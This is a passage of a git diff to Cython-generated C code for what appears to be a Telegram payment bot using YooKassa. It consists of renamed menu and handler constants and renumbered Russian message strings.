__pyx_k_Europe_Moscow, sizeof(__pyx_k_Europe_Moscow), 0, 1, 0, 0}, {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_MAIN_MENU, __pyx_k_MAIN_MENU, sizeof(__pyx_k_MAIN_MENU), 0, 0, 1, 1}, {&__pyx_kp_u_PAYMENT, __pyx_k_PAYMENT, sizeof(__pyx_k_PAYMENT), 0, 1, 0, 0}, {&__pyx_n_s_PAYMENT_SUCCESS_MESSAGE, __pyx_k_PAYMENT_SUCCESS_MESSAGE, sizeof(__pyx_k_PAYMENT_SUCCESS_MESSAGE), 0, 0, 1, 1}, - {&__pyx_n_s_PROFILE, __pyx_k_PROFILE, sizeof(__pyx_k_PROFILE), 0, 0, 1, 1}, {&__pyx_kp_u_RENEW, __pyx_k_RENEW, sizeof(__pyx_k_RENEW), 0, 1, 0, 0}, {&__pyx_n_s_RENEW_KEY, __pyx_k_RENEW_KEY, sizeof(__pyx_k_RENEW_KEY), 0, 0, 1, 1}, {&__pyx_n_s_USE_NEW_PAYMENT_FLOW, __pyx_k_USE_NEW_PAYMENT_FLOW, sizeof(__pyx_k_USE_NEW_PAYMENT_FLOW), 0, 0, 1, 1}, @@ -7185,7 +7185,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, {&__pyx_n_s_get_balance, __pyx_k_get_balance, sizeof(__pyx_k_get_balance), 0, 0, 1, 1}, {&__pyx_n_s_get_temporary_data, __pyx_k_get_temporary_data, sizeof(__pyx_k_get_temporary_data), 0, 0, 1, 1}, - {&__pyx_n_s_handlers_buttons_notification, __pyx_k_handlers_buttons_notification, sizeof(__pyx_k_handlers_buttons_notification), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_buttons, __pyx_k_handlers_buttons, sizeof(__pyx_k_handlers_buttons), 0, 0, 1, 1}, {&__pyx_n_s_handlers_keys_key_management, __pyx_k_handlers_keys_key_management, sizeof(__pyx_k_handlers_keys_key_management), 0, 0, 1, 1}, {&__pyx_n_s_handlers_keys_keys, __pyx_k_handlers_keys_keys, sizeof(__pyx_k_handlers_keys_keys), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, @@ -7788,25 +7788,25 @@ if (!__Pyx_RefNanny) { __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_INCREF(__pyx_n_s_ADD_KEY); - __Pyx_GIVEREF(__pyx_n_s_ADD_KEY); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_ADD_KEY)) __PYX_ERR(0, 10, __pyx_L1_error); - __Pyx_INCREF(__pyx_n_s_PROFILE); - __Pyx_GIVEREF(__pyx_n_s_PROFILE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_PROFILE)) __PYX_ERR(0, 10, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_MAIN_MENU); + __Pyx_GIVEREF(__pyx_n_s_MAIN_MENU); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_MAIN_MENU)) __PYX_ERR(0, 10, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ADD_SUB); + __Pyx_GIVEREF(__pyx_n_s_ADD_SUB); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_ADD_SUB)) __PYX_ERR(0, 10, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_RENEW_KEY); __Pyx_GIVEREF(__pyx_n_s_RENEW_KEY); if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_RENEW_KEY)) __PYX_ERR(0, 10, __pyx_L1_error); - __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_buttons_notification, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_buttons, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ADD_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_MAIN_MENU); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_ADD_KEY, __pyx_t_2) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_MAIN_MENU, __pyx_t_2) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ADD_SUB); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROFILE, __pyx_t_2) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ADD_SUB, __pyx_t_2) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_RENEW_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); diff --git a/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so b/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so index 343e8e78..c906ba79 100755 Binary files a/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/yookassa_pay.c b/handlers/payments/yookassa_pay.c index 54cfbd11..1f7efae0 100644 --- a/handlers/payments/yookassa_pay.c +++ b/handlers/payments/yookassa_pay.c @@ -2664,26 +2664,25 @@ static const char __pyx_k__2[] = "\320\235\320\260\321\200\321\203\321\210\320\2 static const char __pyx_k__4[] = "|"; static const char __pyx_k__6[] = "@"; static const char __pyx_k__7[] = " "; -static const char __pyx_k__8[] = "\320\235\320\260\320\267\320\260\320\264"; -static const char __pyx_k__9[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__8[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; static const char __pyx_k_gc[] = "gc"; static const char __pyx_k_id[] = "id"; static const char __pyx_k_Any[] = "Any"; static const char __pyx_k_PAY[] = "PAY"; static const char __pyx_k_RUB[] = "RUB"; -static const char __pyx_k__11[] = " \320\275\320\265 \320\267\320\260\320\262\320\265\321\200\321\210\321\221\320\275 \320\270\320\273\320\270 \320\275\320\265 \320\276\320\277\320\273\320\260\321\207\320\265\320\275"; -static const char __pyx_k__12[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\265 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; -static const char __pyx_k__14[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\276\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\265 \321\203\321\201\320\277\320\265\321\210\320\275\320\276\320\263\320\276 \320\277\320\273\320\260\321\202\320\265\320\266\320\260 \320\264\320\273\321\217 "; -static const char __pyx_k__15[] = ": "; -static const char __pyx_k__18[] = "\320\224\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\276\320\277\320\273\320\260\321\202\321\213 \320\275\320\265 \320\275\320\260\320\271\320\264\320\265\320\275\321\213. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; -static const char __pyx_k__20[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267."; -static const char __pyx_k__21[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\321\213\320\271 \320\267\320\260\320\277\321\200\320\276\321\201."; -static const char __pyx_k__22[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217."; -static const char __pyx_k__23[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; -static const char __pyx_k__24[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; -static const char __pyx_k__26[] = "*"; -static const char __pyx_k__27[] = "."; -static const char __pyx_k__37[] = "?"; +static const char __pyx_k__10[] = " \320\275\320\265 \320\267\320\260\320\262\320\265\321\200\321\210\321\221\320\275 \320\270\320\273\320\270 \320\275\320\265 \320\276\320\277\320\273\320\260\321\207\320\265\320\275"; +static const char __pyx_k__11[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\265 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__13[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\276\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\265 \321\203\321\201\320\277\320\265\321\210\320\275\320\276\320\263\320\276 \320\277\320\273\320\260\321\202\320\265\320\266\320\260 \320\264\320\273\321\217 "; +static const char __pyx_k__14[] = ": "; +static const char __pyx_k__17[] = "\320\224\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\276\320\277\320\273\320\260\321\202\321\213 \320\275\320\265 \320\275\320\260\320\271\320\264\320\265\320\275\321\213. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; +static const char __pyx_k__19[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267."; +static const char __pyx_k__20[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\321\213\320\271 \320\267\320\260\320\277\321\200\320\276\321\201."; +static const char __pyx_k__21[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217."; +static const char __pyx_k__22[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__23[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__25[] = "*"; +static const char __pyx_k__26[] = "."; +static const char __pyx_k__36[] = "?"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_get[] = "get"; static const char __pyx_k_pay[] = "pay"; @@ -2748,7 +2747,6 @@ static const char __pyx_k_status[] = "status"; static const char __pyx_k_target[] = "target"; static const char __pyx_k_typing[] = "typing"; static const char __pyx_k_Message[] = "Message"; -static const char __pyx_k_PROFILE[] = "PROFILE"; static const char __pyx_k_Payment[] = "Payment"; static const char __pyx_k_aiogram[] = "aiogram"; static const char __pyx_k_aiohttp[] = "aiohttp"; @@ -2785,6 +2783,8 @@ static const char __pyx_k_response[] = "response"; static const char __pyx_k_set_name[] = "__set_name__"; static const char __pyx_k_vat_code[] = "vat_code"; static const char __pyx_k_yookassa[] = "yookassa_"; +static const char __pyx_k_ENTER_SUM[] = "ENTER_SUM"; +static const char __pyx_k_MAIN_MENU[] = "MAIN_MENU"; static const char __pyx_k_as_markup[] = "as_markup"; static const char __pyx_k_from_user[] = "from_user"; static const char __pyx_k_full_name[] = "full_name"; @@ -2795,7 +2795,6 @@ static const char __pyx_k_set_state[] = "set_state"; static const char __pyx_k_succeeded[] = "succeeded"; static const char __pyx_k_user_data[] = "user_data"; static const char __pyx_k_Account_ID[] = "Account ID: "; -static const char __pyx_k_CUSTOM_SUM[] = "CUSTOM_SUM"; static const char __pyx_k_FSMContext[] = "FSMContext"; static const char __pyx_k_Secret_Key[] = "Secret Key: "; static const char __pyx_k_ValueError[] = "ValueError"; @@ -2830,6 +2829,7 @@ static const char __pyx_k_pay_yookassa[] = "pay_yookassa"; static const char __pyx_k_payment_mode[] = "payment_mode"; static const char __pyx_k_reply_markup[] = "reply_markup"; static const char __pyx_k_send_message[] = "_send_message"; +static const char __pyx_k_CUSTOM_AMOUNT[] = "CUSTOM_AMOUNT"; static const char __pyx_k_CallbackQuery[] = "CallbackQuery"; static const char __pyx_k_Configuration[] = "Configuration"; static const char __pyx_k_REDIRECT_LINK[] = "REDIRECT_LINK"; @@ -2862,8 +2862,8 @@ static const char __pyx_k_HASHHASHYOOKASSA[] = "HASHHASHYOOKASSA"; static const char __pyx_k_YOOKASSA_SHOP_ID[] = "YOOKASSA_SHOP_ID"; static const char __pyx_k_confirm_keyboard[] = "confirm_keyboard"; static const char __pyx_k_confirmation_url[] = "confirmation_url"; +static const char __pyx_k_handlers_buttons[] = "handlers.buttons"; static const char __pyx_k_yookassa_webhook[] = "yookassa_webhook"; -static const char __pyx_k_CUSTOM_SUM_ANSWER[] = "CUSTOM_SUM_ANSWER"; static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; @@ -2885,7 +2885,6 @@ static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; static const char __pyx_k_choosing_amount_yookassa[] = "choosing_amount_yookassa"; static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; -static const char __pyx_k_handlers_buttons_yookassa[] = "handlers.buttons.yookassa"; static const char __pyx_k_PROJECT_06_01_09_LICENSION[] = "PROJECT_06_01:09_LICENSION"; static const char __pyx_k_process_successful_payment[] = "process_successful_payment"; static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; @@ -2965,13 +2964,13 @@ typedef struct { PyObject *__pyx_kp_u_Account_ID; PyObject *__pyx_n_s_Any; PyObject *__pyx_n_s_BACK; - PyObject *__pyx_n_s_CUSTOM_SUM; - PyObject *__pyx_n_s_CUSTOM_SUM_ANSWER; + PyObject *__pyx_n_s_CUSTOM_AMOUNT; PyObject *__pyx_n_s_CallbackQuery; PyObject *__pyx_n_s_Configuration; PyObject *__pyx_n_s_DATABASE_URL; PyObject *__pyx_n_s_DEFAULT_PAYMENT_MESSAGE; PyObject *__pyx_n_s_EMAIL; + PyObject *__pyx_n_s_ENTER_SUM; PyObject *__pyx_n_s_F; PyObject *__pyx_n_s_FSMContext; PyObject *__pyx_n_u_HASHHASHYOOKASSA; @@ -2980,12 +2979,12 @@ typedef struct { PyObject *__pyx_n_s_InlineKeyboardBuilder; PyObject *__pyx_n_s_InlineKeyboardButton; PyObject *__pyx_n_s_InlineKeyboardMarkup; + PyObject *__pyx_n_s_MAIN_MENU; PyObject *__pyx_n_s_MAIN_SECRET; PyObject *__pyx_n_s_Message; PyObject *__pyx_n_s_PAY; PyObject *__pyx_n_s_PAYMENT_OPTIONS; PyObject *__pyx_n_s_PAY_2; - PyObject *__pyx_n_s_PROFILE; PyObject *__pyx_kp_u_PROJECT_06_01_09_LICENSION; PyObject *__pyx_n_s_Payment; PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; @@ -3004,25 +3003,24 @@ typedef struct { PyObject *__pyx_n_s_YOOKASSA_HASH; PyObject *__pyx_n_s_YOOKASSA_SECRET_KEY; PyObject *__pyx_n_s_YOOKASSA_SHOP_ID; + PyObject *__pyx_kp_u__10; PyObject *__pyx_kp_u__11; - PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__13; PyObject *__pyx_kp_u__14; - PyObject *__pyx_kp_u__15; - PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__17; + PyObject *__pyx_kp_u__19; PyObject *__pyx_kp_u__2; PyObject *__pyx_kp_u__20; PyObject *__pyx_kp_u__21; PyObject *__pyx_kp_u__22; PyObject *__pyx_kp_u__23; - PyObject *__pyx_kp_u__24; - PyObject *__pyx_n_s__26; - PyObject *__pyx_kp_u__27; - PyObject *__pyx_n_s__37; + PyObject *__pyx_n_s__25; + PyObject *__pyx_kp_u__26; + PyObject *__pyx_n_s__36; PyObject *__pyx_kp_u__4; PyObject *__pyx_kp_u__6; PyObject *__pyx_kp_u__7; - PyObject *__pyx_n_u__8; - PyObject *__pyx_kp_u__9; + PyObject *__pyx_kp_u__8; PyObject *__pyx_n_s_account_id; PyObject *__pyx_n_s_add_connection; PyObject *__pyx_n_s_add_payment; @@ -3096,7 +3094,7 @@ typedef struct { PyObject *__pyx_n_s_get; PyObject *__pyx_n_s_get_key_count; PyObject *__pyx_n_s_get_temporary_data; - PyObject *__pyx_n_s_handlers_buttons_yookassa; + PyObject *__pyx_n_s_handlers_buttons; PyObject *__pyx_n_s_handlers_payments_gift; PyObject *__pyx_n_s_handlers_payments_utils; PyObject *__pyx_n_s_handlers_payments_yookassa_pay; @@ -3223,7 +3221,8 @@ typedef struct { PyObject *__pyx_int_500; PyObject *__pyx_codeobj_; PyObject *__pyx_tuple__5; - PyObject *__pyx_tuple__19; + PyObject *__pyx_tuple__18; + PyObject *__pyx_tuple__27; PyObject *__pyx_tuple__28; PyObject *__pyx_tuple__29; PyObject *__pyx_tuple__30; @@ -3232,13 +3231,12 @@ typedef struct { PyObject *__pyx_tuple__33; PyObject *__pyx_tuple__34; PyObject *__pyx_tuple__35; - PyObject *__pyx_tuple__36; PyObject *__pyx_codeobj__3; - PyObject *__pyx_codeobj__10; - PyObject *__pyx_codeobj__13; + PyObject *__pyx_codeobj__9; + PyObject *__pyx_codeobj__12; + PyObject *__pyx_codeobj__15; PyObject *__pyx_codeobj__16; - PyObject *__pyx_codeobj__17; - PyObject *__pyx_codeobj__25; + PyObject *__pyx_codeobj__24; } __pyx_mstate; #if CYTHON_USE_MODULE_STATE @@ -3302,13 +3300,13 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_kp_u_Account_ID); Py_CLEAR(clear_module_state->__pyx_n_s_Any); Py_CLEAR(clear_module_state->__pyx_n_s_BACK); - Py_CLEAR(clear_module_state->__pyx_n_s_CUSTOM_SUM); - Py_CLEAR(clear_module_state->__pyx_n_s_CUSTOM_SUM_ANSWER); + Py_CLEAR(clear_module_state->__pyx_n_s_CUSTOM_AMOUNT); Py_CLEAR(clear_module_state->__pyx_n_s_CallbackQuery); Py_CLEAR(clear_module_state->__pyx_n_s_Configuration); Py_CLEAR(clear_module_state->__pyx_n_s_DATABASE_URL); Py_CLEAR(clear_module_state->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); Py_CLEAR(clear_module_state->__pyx_n_s_EMAIL); + Py_CLEAR(clear_module_state->__pyx_n_s_ENTER_SUM); Py_CLEAR(clear_module_state->__pyx_n_s_F); Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); Py_CLEAR(clear_module_state->__pyx_n_u_HASHHASHYOOKASSA); @@ -3317,12 +3315,12 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_CLEAR(clear_module_state->__pyx_n_s_MAIN_MENU); Py_CLEAR(clear_module_state->__pyx_n_s_MAIN_SECRET); Py_CLEAR(clear_module_state->__pyx_n_s_Message); Py_CLEAR(clear_module_state->__pyx_n_s_PAY); Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); Py_CLEAR(clear_module_state->__pyx_n_s_PAY_2); - Py_CLEAR(clear_module_state->__pyx_n_s_PROFILE); Py_CLEAR(clear_module_state->__pyx_kp_u_PROJECT_06_01_09_LICENSION); Py_CLEAR(clear_module_state->__pyx_n_s_Payment); Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); @@ -3341,25 +3339,24 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_HASH); Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_SECRET_KEY); Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_SHOP_ID); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); Py_CLEAR(clear_module_state->__pyx_kp_u__11); - Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__13); Py_CLEAR(clear_module_state->__pyx_kp_u__14); - Py_CLEAR(clear_module_state->__pyx_kp_u__15); - Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__19); Py_CLEAR(clear_module_state->__pyx_kp_u__2); Py_CLEAR(clear_module_state->__pyx_kp_u__20); Py_CLEAR(clear_module_state->__pyx_kp_u__21); Py_CLEAR(clear_module_state->__pyx_kp_u__22); Py_CLEAR(clear_module_state->__pyx_kp_u__23); - Py_CLEAR(clear_module_state->__pyx_kp_u__24); - Py_CLEAR(clear_module_state->__pyx_n_s__26); - Py_CLEAR(clear_module_state->__pyx_kp_u__27); - Py_CLEAR(clear_module_state->__pyx_n_s__37); + Py_CLEAR(clear_module_state->__pyx_n_s__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); + Py_CLEAR(clear_module_state->__pyx_n_s__36); Py_CLEAR(clear_module_state->__pyx_kp_u__4); Py_CLEAR(clear_module_state->__pyx_kp_u__6); Py_CLEAR(clear_module_state->__pyx_kp_u__7); - Py_CLEAR(clear_module_state->__pyx_n_u__8); - Py_CLEAR(clear_module_state->__pyx_kp_u__9); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); Py_CLEAR(clear_module_state->__pyx_n_s_account_id); Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); @@ -3433,7 +3430,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_get); Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); Py_CLEAR(clear_module_state->__pyx_n_s_get_temporary_data); - Py_CLEAR(clear_module_state->__pyx_n_s_handlers_buttons_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_buttons); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_yookassa_pay); @@ -3560,7 +3557,8 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_int_500); Py_CLEAR(clear_module_state->__pyx_codeobj_); Py_CLEAR(clear_module_state->__pyx_tuple__5); - Py_CLEAR(clear_module_state->__pyx_tuple__19); + Py_CLEAR(clear_module_state->__pyx_tuple__18); + Py_CLEAR(clear_module_state->__pyx_tuple__27); Py_CLEAR(clear_module_state->__pyx_tuple__28); Py_CLEAR(clear_module_state->__pyx_tuple__29); Py_CLEAR(clear_module_state->__pyx_tuple__30); @@ -3569,13 +3567,12 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_tuple__33); Py_CLEAR(clear_module_state->__pyx_tuple__34); Py_CLEAR(clear_module_state->__pyx_tuple__35); - Py_CLEAR(clear_module_state->__pyx_tuple__36); Py_CLEAR(clear_module_state->__pyx_codeobj__3); - Py_CLEAR(clear_module_state->__pyx_codeobj__10); - Py_CLEAR(clear_module_state->__pyx_codeobj__13); + Py_CLEAR(clear_module_state->__pyx_codeobj__9); + Py_CLEAR(clear_module_state->__pyx_codeobj__12); + Py_CLEAR(clear_module_state->__pyx_codeobj__15); Py_CLEAR(clear_module_state->__pyx_codeobj__16); - Py_CLEAR(clear_module_state->__pyx_codeobj__17); - Py_CLEAR(clear_module_state->__pyx_codeobj__25); + Py_CLEAR(clear_module_state->__pyx_codeobj__24); return 0; } #endif @@ -3617,13 +3614,13 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_kp_u_Account_ID); Py_VISIT(traverse_module_state->__pyx_n_s_Any); Py_VISIT(traverse_module_state->__pyx_n_s_BACK); - Py_VISIT(traverse_module_state->__pyx_n_s_CUSTOM_SUM); - Py_VISIT(traverse_module_state->__pyx_n_s_CUSTOM_SUM_ANSWER); + Py_VISIT(traverse_module_state->__pyx_n_s_CUSTOM_AMOUNT); Py_VISIT(traverse_module_state->__pyx_n_s_CallbackQuery); Py_VISIT(traverse_module_state->__pyx_n_s_Configuration); Py_VISIT(traverse_module_state->__pyx_n_s_DATABASE_URL); Py_VISIT(traverse_module_state->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); Py_VISIT(traverse_module_state->__pyx_n_s_EMAIL); + Py_VISIT(traverse_module_state->__pyx_n_s_ENTER_SUM); Py_VISIT(traverse_module_state->__pyx_n_s_F); Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); Py_VISIT(traverse_module_state->__pyx_n_u_HASHHASHYOOKASSA); @@ -3632,12 +3629,12 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_VISIT(traverse_module_state->__pyx_n_s_MAIN_MENU); Py_VISIT(traverse_module_state->__pyx_n_s_MAIN_SECRET); Py_VISIT(traverse_module_state->__pyx_n_s_Message); Py_VISIT(traverse_module_state->__pyx_n_s_PAY); Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); Py_VISIT(traverse_module_state->__pyx_n_s_PAY_2); - Py_VISIT(traverse_module_state->__pyx_n_s_PROFILE); Py_VISIT(traverse_module_state->__pyx_kp_u_PROJECT_06_01_09_LICENSION); Py_VISIT(traverse_module_state->__pyx_n_s_Payment); Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); @@ -3656,25 +3653,24 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_HASH); Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_SECRET_KEY); Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_SHOP_ID); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); Py_VISIT(traverse_module_state->__pyx_kp_u__11); - Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__13); Py_VISIT(traverse_module_state->__pyx_kp_u__14); - Py_VISIT(traverse_module_state->__pyx_kp_u__15); - Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__19); Py_VISIT(traverse_module_state->__pyx_kp_u__2); 